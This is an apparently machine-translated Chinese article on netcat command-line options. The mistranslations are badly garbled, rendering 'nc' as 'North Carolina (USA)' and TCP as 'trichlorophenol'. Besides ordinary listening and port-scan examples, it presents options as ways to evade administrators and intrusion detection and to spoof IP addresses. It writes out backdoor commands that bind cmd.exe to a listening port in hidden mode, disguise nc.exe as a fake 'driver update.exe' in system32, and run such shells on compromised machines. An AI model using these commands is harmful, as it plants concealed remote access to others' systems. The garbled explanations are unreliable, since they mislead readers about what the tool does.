netcat命令，netcat很多人還不知道，樂(lè)樂(lè)來(lái)為大家解答以上問(wèn)題，現(xiàn)在讓我們一起來(lái)看看吧！

1、 （美國(guó)）北卡羅來(lái)納州的全稱為NetCat，它能夠建立并接受傳輸控制協(xié)議(TCP)和用戶數(shù)據(jù)報(bào)協(xié)議(UDP)的連接，Netcat可在這些連接上讀寫數(shù)據(jù)，直到連接關(guān)閉為止。它可以通過(guò)手工或者腳本與應(yīng)用層的網(wǎng)絡(luò)應(yīng)用程序或服務(wù)進(jìn)行交互。從技術(shù)上來(lái)講，NetCat并不能產(chǎn)生用戶數(shù)據(jù)報(bào)協(xié)議(User Datagram Protocol)連接，因?yàn)橛脩魯?shù)據(jù)報(bào)協(xié)議(User Datagram Protocol)是一種無(wú)連接的協(xié)議NetCat . com。沒(méi)有圖形界面，很粗糙，很原始。

2、 （美國(guó)）北卡羅來(lái)納州的命令行

3、 （美國(guó)）北卡羅來(lái)納州的基本命令行形式是NC[選項(xiàng)]主機(jī)端口，其中宿主是要掃描的主機(jī)名或互聯(lián)網(wǎng)協(xié)議(Internet Protocol)地址，端口要么是一個(gè)單獨(dú)的端口，要么是一個(gè)端口范圍（用男男的形式指定),要么是一系列用空格隔開(kāi)的單個(gè)端口。

4、 -d只對(duì)Windows操作系統(tǒng)操作系統(tǒng)有用，該選項(xiàng)使網(wǎng)絡(luò)瑞士軍刀以隱蔽模式工作，從而脫離微軟磁盤操作系統(tǒng)命令提示符下環(huán)境運(yùn)行，使得（美國(guó)）北卡羅來(lái)納州不需要保持打開(kāi)命令窗口便可在監(jiān)聽(tīng)模式下運(yùn)行，也可以幫助黑客很好地隱藏監(jiān)聽(tīng)網(wǎng)絡(luò)瑞士軍刀實(shí)例而不被系統(tǒng)管理員發(fā)現(xiàn)。

5、 -e如果網(wǎng)絡(luò)瑞士軍刀使用安全漏洞選項(xiàng)進(jìn)行編譯，那么只要某人在網(wǎng)后臺(tái)所監(jiān)聽(tīng)的任何端口上建立連接，該網(wǎng)絡(luò)瑞士軍刀都將執(zhí)行，且客戶端的網(wǎng)絡(luò)瑞士軍刀會(huì)通過(guò)管道將輸入輸出傳輸?shù)皆趧e處監(jiān)聽(tīng)的另一個(gè)網(wǎng)絡(luò)瑞士軍刀實(shí)例中。使用這個(gè)選項(xiàng)非常危險(xiǎn)，除非你對(duì)（美國(guó)）北卡羅來(lái)納州相當(dāng)了解，起碼知道你自己在做什么。這是在系統(tǒng)中建立后門殼的一個(gè)非常快捷且容易的方法。

6、 構(gòu)成來(lái)自拉丁語(yǔ)、結(jié)尾為-us的名詞的復(fù)數(shù)延時(shí)間隔，表示在兩次數(shù)據(jù)發(fā)送之間（美國(guó)）北卡羅來(lái)納州等待的時(shí)間。例如：當(dāng)經(jīng)過(guò)管道傳輸一個(gè)文件到（美國(guó)）北卡羅來(lái)納州的時(shí)候，在傳輸輸入的下一行之前，數(shù)控將等待的秒數(shù)。當(dāng)使用（美國(guó)）北卡羅來(lái)納州對(duì)一臺(tái)主機(jī)的多個(gè)端口之間進(jìn)行操作時(shí)，在切換到下一個(gè)端口之前，數(shù)控等待的秒數(shù)。這樣可以使黑客在進(jìn)行數(shù)據(jù)傳輸或?qū)σ粋€(gè)服務(wù)進(jìn)行攻擊的時(shí)候更加隱蔽，也可以幫助你的端口掃描不被入侵檢測(cè)系統(tǒng)和系統(tǒng)管理員發(fā)現(xiàn)。

7、 -g這個(gè)選項(xiàng)具有欺騙性nc。支持松散源路由(松散源路由)。你可以在命令行中指定多達(dá)8個(gè)-g選項(xiàng)來(lái)強(qiáng)迫（美國(guó)）北卡羅來(lái)納州流量經(jīng)過(guò)特定的互聯(lián)網(wǎng)協(xié)議(Internet Protocol)地址，這在你為流量設(shè)置偽造的源互聯(lián)網(wǎng)協(xié)議(Internet Protocol)地址時(shí)，可以利用這個(gè)方法達(dá)到通過(guò)防火墻的過(guò)濾器或者允許訪問(wèn)主機(jī)列表，希望接收到從主機(jī)返回的響應(yīng)。

8、 -G該選項(xiàng)讓用戶在-g選項(xiàng)所指定的路由列表中指定的一個(gè)地址作為當(dāng)前的下一路由，由于互聯(lián)網(wǎng)協(xié)議(Internet Protocol)地址為四字節(jié)大小(IPV4)，所以這個(gè)參數(shù)總是四字節(jié)的倍數(shù)；例如，4代表路由表中的第一個(gè)互聯(lián)網(wǎng)協(xié)議(Internet Protocol)地址，8代表第二個(gè)互聯(lián)網(wǎng)協(xié)議(Internet Protocol)地址，依次類推。這在偽造部分源路由表使得報(bào)文看起來(lái)相當(dāng)?shù)挠杏谩Ｔ谶M(jìn)行欺騙和源路由時(shí)，這個(gè)功能有助于屏蔽你的位置，但也不一定能接收到響應(yīng)報(bào)文，因?yàn)轫憫?yīng)報(bào)文將經(jīng)過(guò)由偽造的互聯(lián)網(wǎng)協(xié)議(Internet Protocol)地址反路由回來(lái)。

9、 -我該選項(xiàng)切換（美國(guó)）北卡羅來(lái)納州的監(jiān)聽(tīng)模式。此選項(xiàng)必須與-p選項(xiàng)一起使用以告訴（美國(guó)）北卡羅來(lái)納州綁定某個(gè)指定的三氯苯酚端口并等待到來(lái)的連接。若換成-你選項(xiàng)，則應(yīng)使用用戶數(shù)據(jù)報(bào)協(xié)議(User Datagram Protocol)端口而非三氯苯酚端口。

10、 -我該選項(xiàng)在Windows操作系統(tǒng)版本中有用，當(dāng)一個(gè)連接被關(guān)閉后，使用相同的命令行選項(xiàng)進(jìn)行重啟監(jiān)聽(tīng)模式，即使此時(shí)初始的連接已經(jīng)結(jié)束，數(shù)控也能在不需要用戶干涉的情況下接收后面新的連接。與-我一樣，必須與-p同時(shí)使用。

11、 同-EN該選項(xiàng)告訴我們（美國(guó)）北卡羅來(lái)納州不做任何主機(jī)名查找的工作。

12、 -0對(duì)數(shù)據(jù)執(zhí)行一次十六進(jìn)制轉(zhuǎn)儲(chǔ)(十六進(jìn)制轉(zhuǎn)儲(chǔ))并將其存儲(chǔ)在hexfile中。命令nc-o hexfile將把雙向通信的數(shù)據(jù)記錄下來(lái)，在每行的開(kāi)始處會(huì)有一個(gè)"'或"用來(lái)分別指示是進(jìn)入數(shù)據(jù)還是外出數(shù)據(jù)。如果只想得到對(duì)進(jìn)入數(shù)據(jù)的十六進(jìn)制轉(zhuǎn)儲(chǔ)，可以使用NC-ohex文件命令。

13、 -p讓用戶指定一個(gè)（美國(guó)）北卡羅來(lái)納州應(yīng)使用的本地端口號(hào)。當(dāng)通過(guò)-我或-我選項(xiàng)來(lái)使用監(jiān)聽(tīng)模式的時(shí)候，這個(gè)參數(shù)是必需的。如果沒(méi)有為外出連接指定這個(gè)參數(shù)，則與大多數(shù)其他三氯苯酚或用戶數(shù)據(jù)報(bào)協(xié)議(User Datagram Protocol)客戶程序的做法一樣，數(shù)控將使用系統(tǒng)分配給他的任何端口。

14、 -r該參數(shù)使（美國(guó)）北卡羅來(lái)納州可以隨機(jī)選擇本地和遠(yuǎn)程端口。當(dāng)使用（美國(guó)）北卡羅來(lái)納州在系統(tǒng)中范圍很大的一批端口上獲取信息時(shí)，要想混合源端口和目標(biāo)端口的順序看起來(lái)不怎么象端口掃描，這個(gè)選項(xiàng)是很有用的。當(dāng)這個(gè)選項(xiàng)與構(gòu)成來(lái)自拉丁語(yǔ)、結(jié)尾為-us的名詞的復(fù)數(shù)選項(xiàng)和一個(gè)足夠大的間隔結(jié)合使用的時(shí)候，在不被注意的端口掃描成功幾率能得到很大提升。

15、 構(gòu)成名詞復(fù)數(shù)指定（美國(guó)）北卡羅來(lái)納州建立連接時(shí)所使用的互聯(lián)網(wǎng)協(xié)議(Internet Protocol)地址，該選項(xiàng)允許黑客做一些工作，它允許黑客隱藏他們的互聯(lián)網(wǎng)協(xié)議(Internet Protocol)地址或假冒他人的互聯(lián)網(wǎng)協(xié)議(Internet Protocol)地址，但是要得到路由到他們所欺騙的地址的任何信息，都需要使用-g源路由選項(xiàng)。其次，當(dāng)處于監(jiān)聽(tīng)模式時(shí)，大多數(shù)情況下都可以與一個(gè)已經(jīng)監(jiān)聽(tīng)的服務(wù)"預(yù)先綁定",所有三氯苯酚和用戶數(shù)據(jù)報(bào)協(xié)議(User Datagram Protocol)服務(wù)都綁定到某個(gè)端口。

16、 相當(dāng)于-ED如果使用遠(yuǎn)程登錄選項(xiàng)編譯，數(shù)控就可以與遠(yuǎn)程登錄服務(wù)器進(jìn)行遠(yuǎn)程登錄選項(xiàng)協(xié)商，雖然它的響應(yīng)是毫無(wú)意義的信息，但可以通過(guò)該狀態(tài)看到連接23端口的信息。

17、 -北卡羅來(lái)納大學(xué)使用用戶數(shù)據(jù)報(bào)協(xié)議(User Datagram Protocol)而非TCP，在客戶模式和監(jiān)聽(tīng)模式下都起作用。

18、 -v控制（美國(guó)）北卡羅來(lái)納州將要做的事情達(dá)到的程度，如使用nc -v，那么（美國(guó)）北卡羅來(lái)納州將僅吐出它所接收到的數(shù)據(jù)，一個(gè)單獨(dú)的-v可以知道它連接或綁定的地址是否有問(wèn)題發(fā)生，第2個(gè)-v可以讓（美國(guó)）北卡羅來(lái)納州在一個(gè)連接結(jié)束的時(shí)候讓你知道這個(gè)連接總共發(fā)送和接收了多少數(shù)據(jù)。

19、 -w控制在一個(gè)連接上（美國(guó)）北卡羅來(lái)納州放棄之前等待的時(shí)間。同時(shí)也告訴（美國(guó)）北卡羅來(lái)納州當(dāng)在標(biāo)準(zhǔn)輸入上接收到一個(gè)文件結(jié)束之后應(yīng)該等待多長(zhǎng)時(shí)間來(lái)關(guān)閉連接并退出。如果你通過(guò)（美國(guó)）北卡羅來(lái)納州向遠(yuǎn)程服務(wù)器發(fā)送命令并且期望大量的數(shù)據(jù)返回（例如：向一臺(tái)網(wǎng)服務(wù)器發(fā)送一個(gè)超文本傳送協(xié)議（Hyper Text Transport Protocol的縮寫）命令以下載一個(gè)大文件),該選項(xiàng)是很有用的。

20、 （美國(guó)）北卡羅來(lái)納州的具體使用

21、 c:NC . exe-l-p 4455-d-e cmd.exe可以很好的隱藏一個(gè)網(wǎng)絡(luò)瑞士軍刀后門。

22、 丙：數(shù)控執(zhí)行-p 4455-d-L-e cmd.exe這個(gè)命令可以讓黑客利用網(wǎng)絡(luò)瑞士軍刀重新返回系統(tǒng)，直到系統(tǒng)管理員在任務(wù)管理器中看見(jiàn)nc.exe在運(yùn)行，從而發(fā)現(xiàn)這個(gè)后門，我們一樣可以把它做的更加隱蔽，

23、 c:移動(dòng)nc.exe c:windows system 32 driver update . exe

24、 c:windows系統(tǒng)32 driver update . exe-p 4455-d-L-e cmd.exe

25、 系統(tǒng)管理員可能把特權(quán)附屬于一些無(wú)害的程序，如update.exe等，黑客也可以隱藏命令行。

26、 c:windowssystme 32 driver update . exe

27、 cmd線：-L-p 4455-d-L-e cmd.exe

28、 丙：

29、 nc -l - p 80監(jiān)聽(tīng)80端口

30、 nc -l -p 80 c:log.dat監(jiān)聽(tīng)80端口，并把信息記錄到log.dat中

31、 數(shù)控v -l -p 80監(jiān)聽(tīng)80端口，并顯示端口信息

32、 nc -vv -l -p 80監(jiān)聽(tīng)80端口，顯示更詳細(xì)的端口信息

33、 NC-l-p 80-t-e cmd.exe監(jiān)聽(tīng)本地的80端口的入站信息，同時(shí)將cmd.exe重定向到80端口，當(dāng)有人連接的時(shí)候，就讓cmd.exe以遠(yuǎn)程登錄的形式應(yīng)答。當(dāng)然這個(gè)最好用在控制的肉雞上。

34、 nc -v ip端口掃瞄某互聯(lián)網(wǎng)協(xié)議(Internet Protocol)的某個(gè)端口

35、 nc -v -z ip端口-端口掃描某互聯(lián)網(wǎng)協(xié)議(Internet Protocol)的端口到某端口

36、 nc -v -z -u ip端口掃描某互聯(lián)網(wǎng)協(xié)議(Internet Protocol)的某用戶數(shù)據(jù)報(bào)協(xié)議(User Datagram Protocol)端口到某用戶數(shù)據(jù)報(bào)協(xié)議(User Datagram Protocol)端口

今天的分享，希望對(duì)大家有所幫助。

標(biāo)簽：